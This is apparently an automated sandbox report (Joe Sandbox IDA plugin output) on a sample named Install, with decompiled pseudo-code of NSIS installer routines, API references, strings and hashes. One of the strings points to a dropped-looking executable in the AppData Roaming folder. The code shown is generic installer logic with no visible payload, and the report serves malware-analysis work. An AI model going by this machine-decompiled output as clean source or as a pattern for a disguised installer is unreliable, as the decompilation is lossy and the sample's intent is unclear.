0x00403608
0x0040360b
0x00403612
0x00403619
0x00403619
0x00403612
0x0040361b
0x00403620
0x00403621
0x0040362d
0x00403631
0x00403638
0x00403646
0x0040364b
0x00403652
0x00403656
0x0040365a
0x0040365c
0x0040365c
0x0040365a
0x00403663
0x0040366a
0x00403670
0x00403688
0x00403698
0x004036aa
0x004036b1
0x004036b3
0x004036b4
0x004036c5
0x004036c9
0x004036c9
0x004036dc
0x004036de
0x004037d8
0x004037d8
0x004037db
0x004037de
0x00000000
0x00000000
0x004036e8
0x004036e9
0x004036ec
0x004036f5
0x004036f5
0x004036f8
0x004036fb
0x004036fe
0x00403701
0x00403701
0x00403701
0x00403702
0x00403706
0x004037c6
0x004037cf
0x004037d1
0x004037d4
0x004037d7
0x004037d7
0x004037d7
0x00000000
0x0040370c
0x0040370d
0x0040370e
0x00403712
0x0040372c
0x00403733
0x00403746
0x00403747
0x0040375c
0x00403761
0x00403763
0x00403765
0x00403781
0x00403788
0x0040379b
0x0040379c
0x004037b1
0x004037b7
0x004037b9
0x004037bb
0x004037c3
0x004037c5
0x00000000
0x004037c5
0x004037bf
0x004037c1
0x004037e6
0x004037ea
0x004037f3
0x004037f8
0x004037fe
0x00403809
0x0040380b
0x00403810
0x00403812
0x0040386a
0x0040386f
0x00403878
0x0040387f
0x00403882
0x00403a59
0x00403a59
0x00403a5e
0x00403a67
0x00403a84
0x00403afc
0x00403afc
0x00403b04
0x00403b06
0x00403b06
0x00403b0c
0x00403b0c
0x00403a9b
0x00403aa7
0x00403ab8
0x00403abf
0x00403ac6
0x00403ac6
0x00403ace
0x00403ada
0x00403ae8
0x00403af3
0x00000000
0x00000000
0x00000000
0x00403adc
0x00403adc
0x00403add
0x00403adf
0x00403ae0
0x00403ae1
0x00403ae6
0x00403af5
0x00403af7
0x00000000
0x00403af7
0x00000000
0x00403ae6
0x00403ada
0x00403a71
0x00403a78
0x00403a78
0x0040388e
0x00403935
0x00403935
0x00403941
0x00000000
0x00403941
0x0040389f
0x004038a7
0x004038f9
0x004038f9
0x004038ff
0x00403906
0x00403954
0x00403956
0x0040395b
0x0040395d
0x00403965
0x00403965
0x00403970
0x0040397c
0x00403982
0x00403984
0x00403a57
0x00403a57
0x00403a57
0x00000000
0x0040398a
0x0040398a
0x0040398c
0x0040398d
0x00403996
0x0040398f
0x0040398f
0x0040398f
0x0040399c
0x004039a4
0x004039ab
0x004039b3
0x004039b3
0x004039c0
0x004039cc
0x004039d6
0x004039d6
0x004039d8
0x004039df
0x004039e9
0x004039f5
0x004039fb
0x00403a01
0x00403a04
0x00403a0e
0x00403a14
0x00403a16
0x00403a1a
0x00403a2b
0x00403a31
0x00403a36
0x00403a38
0x00403a3b
0x00403a41
0x00403a41
0x00403a38
0x00403a16
0x00403a44
0x00403a4b
0x00403a4b
0x00403a4b
0x00403a4b
0x00403a52
0x00000000
0x00403a52
0x00403984
0x00403908
0x0040390b
0x0040390f
0x00403914
0x00403916
0x00000000
0x00000000
0x00403922
0x0040392d
0x00403932
0x00000000
0x00403932
0x004038b0
0x004038c8
0x004038d9
0x004038da
0x004038de
0x004038e0
0x004038ee
0x004038f5
0x00000000
0x00000000
0x00000000
0x004038f5
0x004038f7
0x00000000
0x004038f7
0x0040381a
0x00403826
0x0040382b
0x00403830
0x00403832
0x00000000
0x00000000
0x0040383a
0x00403842
0x00403853
0x0040385b
0x0040385d
0x00403862
0x00403864
0x00000000
0x00000000
0x00000000
0x00403864
0x00000000
0x004037c1
0x0040376a
0x0040376c
0x00000000
0x00000000
0x0040376e
0x00403772
0x00403776
0x0040377d
0x0040377d
0x0040377d
0x0040377d
0x00000000
0x0040377d
0x00403778
0x0040377b
0x00000000
0x00000000
0x00000000
0x0040377b
0x00403714
0x00403718
0x0040371b
0x00403722
0x00403722
0x00000000
0x00403722
0x0040371d
0x00403720
0x00000000
0x00000000
0x00000000
0x00403720
0x00000000
0x00000000
0x00000000
0x004036ee
0x004036ee
0x004036ef
0x004036f0
0x004036f0
0x00000000
0x004036ee
0x00000000

APIs

SetErrorMode.KERNELBASE(00008001), ref: 00403550
GetVersionExW.KERNEL32(?), ref: 00403579
GetVersionExW.KERNEL32(0000011C), ref: 00403590
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403627
#17.COMCTL32(00000007,00000009,0000000B), ref: 00403663
OleInitialize.OLE32(00000000), ref: 0040366A
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 00403688
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 0040369D
CharNextW.USER32(00000000,00440000,00000020,00440000,00000000), ref: 004036D6
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,?), ref: 00403809
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040381A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403826
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040383A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403842
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403853
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040385B
DeleteFileW.KERNELBASE(1033), ref: 0040386F
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu), ref: 00403956
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C), ref: 00403965

Part of subcall function 00405AEB: CreateDirectoryW.KERNELBASE(?,00000000,00403520,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00405AF1

lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp), ref: 00403970
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00441800,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00440000,00000000,?), ref: 0040397C
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 0040399C
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00436000,?), ref: 004039FB
CopyFileW.KERNEL32(00443800,0042AA28,00000001), ref: 00403A0E
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403A3B
ExitProcess.KERNEL32(?), ref: 00403A59
OleUninitialize.OLE32(?), ref: 00403A5E
ExitProcess.KERNEL32 ref: 00403A78
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403A8C
OpenProcessToken.ADVAPI32(00000000), ref: 00403A93
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403AA7
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403AC6
ExitWindowsEx.USER32 ref: 00403AEB
ExitProcess.KERNEL32 ref: 00403B0C

Strings

TMP, xrefs: 00403856
1033, xrefs: 0040386A
TEMP, xrefs: 0040384E
C:\Users\user\AppData\Local\Temp\, xrefs: 004037FE, 00403803, 00403819, 00403825, 00403834, 00403841, 0040384D, 00403855, 00403953, 00403964, 0040396F, 0040397B, 0040398C, 0040399B, 00403A51
Error launching installer, xrefs: 004038FF
UXTHEME, xrefs: 0040361B, 00403620, 00403626
SeShutdownPrivilege, xrefs: 00403AA1
Low, xrefs: 0040383C
\Temp, xrefs: 00403820
~nsu, xrefs: 0040394E
NSIS Error, xrefs: 0040368E
.tmp, xrefs: 0040396A

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: Processlstrcat$ExitFile$Directory$CurrentDeleteEnvironmentPathTempTokenVariableVersionWindows$AdjustCharCloseCommandCopyCreateErrorHandleInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesUninitializeValuelstrcmpilstrlen
String ID: .tmp$1033$C:\Users\user\AppData\Local\Temp\$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 2292928366-3502547859
Opcode ID: fb71d40aeaad878488c5369afe35c68a3abfd82b90a6d5950651ba49b90856e7
Instruction ID: 4d4dc0a58e4858e72561def8a0259f0227da8af974c10a5ea2b310ef4b80d7a5
Opcode Fuzzy Hash: fb71d40aeaad878488c5369afe35c68a3abfd82b90a6d5950651ba49b90856e7
Instruction Fuzzy Hash: 66E10670A00214AADB10AFB59D45BAF3AB8EF4470AF14847FF545B22D1DB7C8A41CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00403BEC Relevance: 44.0, APIs: 14, Strings: 11, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00403BEC(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t22;
				void* _t30;
				void* _t32;
				int _t33;
				void* _t36;
				int _t39;
				int _t40;
				int _t44;
				short _t63;
				WCHAR* _t65;
				signed char _t69;
				signed short _t73;
				WCHAR* _t76;
				intOrPtr _t82;
				WCHAR* _t87;

				_t82 =  *0x434f10;
				_t22 = E0040690A(2);
				_t90 = _t22;
				if(_t22 == 0) {
					_t76 = 0x42d268;
					L"1033" = 0x30;
					 *0x442002 = 0x78;
					 *0x442004 = 0;
					E0040640B(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x42d268, 0);
					__eflags =  *0x42d268;
					if(__eflags == 0) {
						E0040640B(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083D4, 0x42d268, 0);
					}
					lstrcatW(L"1033", _t76);
				} else {
					_t73 =  *_t22(); // executed
					E00406484(L"1033", _t73 & 0x0000ffff);
				}
				E00403EC2(_t78, _t90);
				 *0x434f80 =  *0x434f18 & 0x00000020;
				 *0x434f9c = 0x10000;
				if(E00405F14(_t90, 0x440800) != 0) {
					L16:
					if(E00405F14(_t98, 0x440800) == 0) {
						E0040657A(_t76, 0, _t82, 0x440800,  *((intOrPtr*)(_t82 + 0x118)));
					}
					_t30 = LoadImageW( *0x434f00, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x433ee8 = _t30;
					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t32 = E00403EC2(_t78, __eflags);
							__eflags =  *0x434fa0;
							if( *0x434fa0 != 0) {
								_t33 = E00405672(_t32, 0);
								__eflags = _t33;
								if(_t33 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x433ecc;
								if( *0x433ecc == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x42d248, 5);
							_t39 = E0040689A("RichEd20");
							__eflags = _t39;
							if(_t39 == 0) {
								E0040689A("RichEd32");
							}
							_t87 = L"RichEdit20W";
							_t40 = GetClassInfoW(0, _t87, 0x433ea0);
							__eflags = _t40;
							if(_t40 == 0) {
								GetClassInfoW(0, L"RichEdit", 0x433ea0);
								 *0x433ec4 = _t87;
								RegisterClassW(0x433ea0);
							}
							_t44 = DialogBoxParamW( *0x434f00,  *0x433ee0 + 0x00000069 & 0x0000ffff, 0, E00403F9A, 0);
							E00403B3C(E0040140B(5), 1);
							return _t44;
						}
						L22:
						_t36 = 2;
						return _t36;
					} else {
						_t78 =  *0x434f00;
						 *0x433ea4 = E00401000;
						 *0x433eb0 =  *0x434f00;
						 *0x433eb4 = _t30;
						 *0x433ec4 = 0x40a380;
						if(RegisterClassW(0x433ea0) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoW(0x30, 0,  &_v16, 0);
						 *0x42d248 = CreateWindowExW(0x80, 0x40a380, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x434f00, 0);
						goto L21;
					}
				} else {
					_t78 =  *(_t82 + 0x48);
					_t92 = _t78;
					if(_t78 == 0) {
						goto L16;
					}
					_t76 = 0x432ea0;
					E0040640B(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x434f38 + _t78 * 2,  *0x434f38 +  *(_t82 + 0x4c) * 2, 0x432ea0, 0);
					_t63 =  *0x432ea0; // 0x43
					if(_t63 == 0) {
						goto L16;
					}
					if(_t63 == 0x22) {
						_t76 = 0x432ea2;
						 *((short*)(E00405E39(0x432ea2, 0x22))) = 0;
					}
					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
						L15:
						E0040653D(0x440800, E00405E0C(_t76));
						goto L16;
					} else {
						_t69 = GetFileAttributesW(_t76);
						if(_t69 == 0xffffffff) {
							L14:
							E00405E58(_t76);
							goto L15;
						}
						_t98 = _t69 & 0x00000010;
						if((_t69 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x00403bf2
0x00403bfb
0x00403c02
0x00403c04
0x00403c18
0x00403c2a
0x00403c33
0x00403c3c
0x00403c43
0x00403c48
0x00403c4f
0x00403c62
0x00403c62
0x00403c6d
0x00403c06
0x00403c06
0x00403c11
0x00403c11
0x00403c72
0x00403c85
0x00403c8a
0x00403c9b
0x00403d2d
0x00403d35
0x00403d3e
0x00403d3e
0x00403d54
0x00403d5a
0x00403d68
0x00403de9
0x00403df1
0x00403dfb
0x00403e00
0x00403e06
0x00403e90
0x00403e95
0x00403e97
0x00403eb3
0x00000000
0x00403eb3
0x00403e99
0x00403e9f
0x00403ea7
0x00403ea7
0x00000000
0x00403e9f
0x00403e14
0x00403e1f
0x00403e24
0x00403e26
0x00403e2d
0x00403e2d
0x00403e38
0x00403e40
0x00403e42
0x00403e44
0x00403e4d
0x00403e50
0x00403e56
0x00403e56
0x00403e75
0x00403e86
0x00000000
0x00403e8b
0x00403df3
0x00403df5
0x00000000
0x00403d6a
0x00403d6a
0x00403d76
0x00403d80
0x00403d86
0x00403d8b
0x00403d9a
0x00403eb8
0x00403eb8
0x00000000
0x00403eb8
0x00403da9
0x00403de4
0x00000000
0x00403de4
0x00403ca1
0x00403ca1
0x00403ca4
0x00403ca6
0x00000000
0x00000000
0x00403cb4
0x00403cc6
0x00403ccb
0x00403cd4
0x00000000
0x00000000
0x00403cda
0x00403cdc
0x00403ce9
0x00403ce9
0x00403cf2
0x00403cf8
0x00403d20
0x00403d28
0x00000000
0x00403d0a
0x00403d0b
0x00403d14
0x00403d1a
0x00403d1b
0x00000000
0x00403d1b
0x00403d16
0x00403d18
0x00000000
0x00000000
0x00000000
0x00403d18
0x00403cf8

APIs

Part of subcall function 0040690A: GetModuleHandleA.KERNEL32(?,00000020,?,0040363D,0000000B), ref: 0040691C
Part of subcall function 0040690A: GetProcAddress.KERNEL32(00000000,?), ref: 00406937

GetUserDefaultUILanguage.KERNELBASE(00000002,76CDFAA0,C:\Users\user\AppData\Local\Temp\,?,00000000,?), ref: 00403C06

Part of subcall function 00406484: wsprintfW.USER32 ref: 00406491

lstrcatW.KERNEL32(1033,0042D268), ref: 00403C6D
lstrlenW.KERNEL32(C:\Users\user\AppData\Roaming\34432.exe,?,?,?,C:\Users\user\AppData\Roaming\34432.exe,00000000,00440800,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,76CDFAA0), ref: 00403CED
lstrcmpiW.KERNEL32(?,.exe,C:\Users\user\AppData\Roaming\34432.exe,?,?,?,C:\Users\user\AppData\Roaming\34432.exe,00000000,00440800,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 00403D00
GetFileAttributesW.KERNEL32(C:\Users\user\AppData\Roaming\34432.exe,?,00000000,?), ref: 00403D0B
LoadImageW.USER32 ref: 00403D54
RegisterClassW.USER32 ref: 00403D91
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403DA9
CreateWindowExW.USER32 ref: 00403DDE
ShowWindow.USER32(00000005,00000000,?,00000000,?), ref: 00403E14
GetClassInfoW.USER32 ref: 00403E40
GetClassInfoW.USER32 ref: 00403E4D
RegisterClassW.USER32 ref: 00403E56
DialogBoxParamW.USER32 ref: 00403E75

Strings

.exe, xrefs: 00403CFA
.DEFAULT\Control Panel\International, xrefs: 00403C58
Control Panel\Desktop\ResourceLocale, xrefs: 00403C20
1033, xrefs: 00403C0C, 00403C68
C:\Users\user\AppData\Local\Temp\, xrefs: 00403BF1
RichEdit, xrefs: 00403E47
RichEd20, xrefs: 00403E1A
RichEd32, xrefs: 00403E28
C:\Users\user\AppData\Roaming\34432.exe, xrefs: 00403CB4, 00403CBD, 00403CCB, 00403D1A, 00403D20
RichEdit20W, xrefs: 00403E38, 00403E3E
_Nb, xrefs: 00403D70, 00403DD8

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\34432.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-2598761042
Opcode ID: 5a24b6ccf2dff8f69514c8993659dfa0179b66eb04d645246d0b4e575a356aee
Instruction ID: 6cc527b2f10929733706d009ff8c1d9b21e511251dd9cb17fe62514cef47010a
Opcode Fuzzy Hash: 5a24b6ccf2dff8f69514c8993659dfa0179b66eb04d645246d0b4e575a356aee
Instruction Fuzzy Hash: F561A670140300BED721AF66ED46F2B3A6CEB84B5AF40453FF945B62E2CB7D59018A6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040307D Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E0040307D(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				void* _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _t50;
				void* _t53;
				void* _t57;
				intOrPtr* _t59;
				long _t60;
				signed int _t65;
				signed int _t70;
				signed int _t71;
				signed int _t77;
				intOrPtr _t80;
				long _t82;
				signed int _t85;
				signed int _t87;
				void* _t89;
				signed int _t90;
				signed int _t93;
				void* _t94;

				_t82 = 0;
				_v12 = 0;
				_v8 = 0;
				 *0x434f0c = GetTickCount() + 0x3e8;
				GetModuleFileNameW(0, 0x443800, 0x400);
				_t89 = E0040602D(0x443800, 0x80000000, 3);
				_v16 = _t89;
				 *0x40a018 = _t89;
				if(_t89 == 0xffffffff) {
					return L"Error launching installer";
				}
				E0040653D(0x441800, 0x443800);
				E0040653D(0x444000, E00405E58(0x441800));
				_t50 = GetFileSize(_t89, 0);
				__eflags = _t50;
				 *0x42aa24 = _t50;
				_t93 = _t50;
				if(_t50 <= 0) {
					L24:
					E00403019(1);
					__eflags =  *0x434f14 - _t82;
					if( *0x434f14 == _t82) {
						goto L29;
					}
					__eflags = _v8 - _t82;
					if(_v8 == _t82) {
						L28:
						_t34 =  &_v24; // 0x40387d
						_t53 = GlobalAlloc(0x40,  *_t34); // executed
						_t94 = _t53;
						E004034E5( *0x434f14 + 0x1c);
						_t35 =  &_v24; // 0x40387d
						_push( *_t35);
						_push(_t94);
						_push(_t82);
						_push(0xffffffff); // executed
						_t57 = E004032B4(); // executed
						__eflags = _t57 - _v24;
						if(_t57 == _v24) {
							__eflags = _v44 & 0x00000001;
							 *0x434f10 = _t94;
							 *0x434f18 =  *_t94;
							if((_v44 & 0x00000001) != 0) {
								 *0x434f1c =  *0x434f1c + 1;
								__eflags =  *0x434f1c;
							}
							_t40 = _t94 + 0x44; // 0x44
							_t59 = _t40;
							_t85 = 8;
							do {
								_t59 = _t59 - 8;
								 *_t59 =  *_t59 + _t94;
								_t85 = _t85 - 1;
								__eflags = _t85;
							} while (_t85 != 0);
							_t60 = SetFilePointer(_v16, _t82, _t82, 1); // executed
							 *(_t94 + 0x3c) = _t60;
							E00405FE8(0x434f20, _t94 + 4, 0x40);
							__eflags = 0;
							return 0;
						}
						goto L29;
					}
					E004034E5( *0x41ea18);
					_t65 = E004034CF( &_a4, 4);
					__eflags = _t65;
					if(_t65 == 0) {
						goto L29;
					}
					__eflags = _v12 - _a4;
					if(_v12 != _a4) {
						goto L29;
					}
					goto L28;
				} else {
					do {
						_t90 = _t93;
						asm("sbb eax, eax");
						_t70 = ( ~( *0x434f14) & 0x00007e00) + 0x200;
						__eflags = _t93 - _t70;
						if(_t93 >= _t70) {
							_t90 = _t70;
						}
						_t71 = E004034CF(0x416a18, _t90);
						__eflags = _t71;
						if(_t71 == 0) {
							E00403019(1);
							L29:
							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x434f14;
						if( *0x434f14 != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E00403019(0);
							}
							goto L20;
						}
						E00405FE8( &_v44, 0x416a18, 0x1c);
						_t77 = _v44;
						__eflags = _t77 & 0xfffffff0;
						if((_t77 & 0xfffffff0) != 0) {
							goto L20;
						}
						__eflags = _v40 - 0xdeadbeef;
						if(_v40 != 0xdeadbeef) {
							goto L20;
						}
						__eflags = _v28 - 0x74736e49;
						if(_v28 != 0x74736e49) {
							goto L20;
						}
						__eflags = _v32 - 0x74666f73;
						if(_v32 != 0x74666f73) {
							goto L20;
						}
						__eflags = _v36 - 0x6c6c754e;
						if(_v36 != 0x6c6c754e) {
							goto L20;
						}
						_a4 = _a4 | _t77;
						_t87 =  *0x41ea18; // 0x47ed1b
						 *0x434fa0 =  *0x434fa0 | _a4 & 0x00000002;
						_t80 = _v20;
						__eflags = _t80 - _t93;
						 *0x434f14 = _t87;
						if(_t80 > _t93) {
							goto L29;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L16:
							_v8 = _v8 + 1;
							_t93 = _t80 - 4;
							__eflags = _t90 - _t93;
							if(_t90 > _t93) {
								_t90 = _t93;
							}
							goto L20;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							break;
						}
						goto L16;
						L20:
						__eflags = _t93 -  *0x42aa24; // 0x47ed1f
						if(__eflags < 0) {
							_v12 = E004069F7(_v12, 0x416a18, _t90);
						}
						 *0x41ea18 =  *0x41ea18 + _t90;
						_t93 = _t93 - _t90;
						__eflags = _t93;
					} while (_t93 != 0);
					_t82 = 0;
					__eflags = 0;
					goto L24;
				}
			}

0x00403085
0x00403088
0x0040308b
0x004030a5
0x004030aa
0x004030bd
0x004030c2
0x004030c5
0x004030cb
0x00000000
0x004030cd
0x004030de
0x004030ef
0x004030f6
0x004030fc
0x004030fe
0x00403103
0x00403105
0x004031f0
0x004031f2
0x004031f7
0x004031fe
0x00000000
0x00000000
0x00403200
0x00403203
0x00403227
0x00403227
0x0040322c
0x00403232
0x0040323d
0x00403242
0x00403242
0x00403245
0x00403246
0x00403247
0x00403249
0x0040324e
0x00403251
0x00403264
0x00403268
0x00403270
0x00403275
0x00403277
0x00403277
0x00403277
0x0040327f
0x0040327f
0x00403282
0x00403283
0x00403283
0x00403286
0x00403288
0x00403288
0x00403288
0x00403292
0x00403298
0x004032a6
0x004032ab
0x00000000
0x004032ab
0x00000000
0x00403251
0x0040320b
0x00403216
0x0040321b
0x0040321d
0x00000000
0x00000000
0x00403222
0x00403225
0x00000000
0x00000000
0x00000000
0x0040310b
0x00403110
0x00403115
0x00403119
0x00403120
0x00403125
0x00403127
0x00403129
0x00403129
0x0040312d
0x00403132
0x00403134
0x0040325c
0x00403253
0x00000000
0x00403253
0x0040313a
0x00403141
0x004031bd
0x004031c1
0x004031c5
0x004031ca
0x00000000
0x004031c1
0x0040314a
0x0040314f
0x00403152
0x00403157
0x00000000
0x00000000
0x00403159
0x00403160
0x00000000
0x00000000
0x00403162
0x00403169
0x00000000
0x00000000
0x0040316b
0x00403172
0x00000000
0x00000000
0x00403174
0x0040317b
0x00000000
0x00000000
0x0040317d
0x00403183
0x0040318c
0x00403192
0x00403195
0x00403197
0x0040319d
0x00000000
0x00000000
0x004031a3
0x004031a7
0x004031af
0x004031af
0x004031b2
0x004031b5
0x004031b7
0x004031b9
0x004031b9
0x00000000
0x004031b7
0x004031a9
0x004031ad
0x00000000
0x00000000
0x00000000
0x004031cb
0x004031cb
0x004031d1
0x004031dd
0x004031dd
0x004031e0
0x004031e6
0x004031e6
0x004031e6
0x004031ee
0x004031ee
0x00000000
0x004031ee

APIs

GetTickCount.KERNEL32 ref: 0040308E
GetModuleFileNameW.KERNEL32(00000000,00443800,00000400,?,?,?,?,?,0040387D,?), ref: 004030AA

Part of subcall function 0040602D: GetFileAttributesW.KERNELBASE(00000003,004030BD,00443800,80000000,00000003,?,?,?,?,?,0040387D,?), ref: 00406031
Part of subcall function 0040602D: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,?,?,0040387D,?), ref: 00406053

GetFileSize.KERNEL32(00000000,00000000,00444000,00000000,00441800,00441800,00443800,00443800,80000000,00000003,?,?,?,?,?,0040387D), ref: 004030F6
GlobalAlloc.KERNELBASE(00000040,}8@,?,?,?,?,?,0040387D,?), ref: 0040322C

Strings

Null, xrefs: 00403174
Inst, xrefs: 00403162
}8@, xrefs: 00403227, 00403242
C:\Users\user\AppData\Local\Temp\, xrefs: 00403084
Error launching installer, xrefs: 004030CD
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403253
soft, xrefs: 0040316B

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$}8@
API String ID: 2803837635-3397361934
Opcode ID: b2925046ebf4ee23c20be954f21b6b8de3b8febbf6f0f410cc7df6a070a5bb34
Instruction ID: 750c061bb954c4555836cecba7cc54c639b148d890841a972b43b12454d44aa7
Opcode Fuzzy Hash: b2925046ebf4ee23c20be954f21b6b8de3b8febbf6f0f410cc7df6a070a5bb34
Instruction Fuzzy Hash: 7951B571904204AFDB10AF65ED42B9E7EACAB48756F14807BF904B62D1C77C9F408B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040657A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 196
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

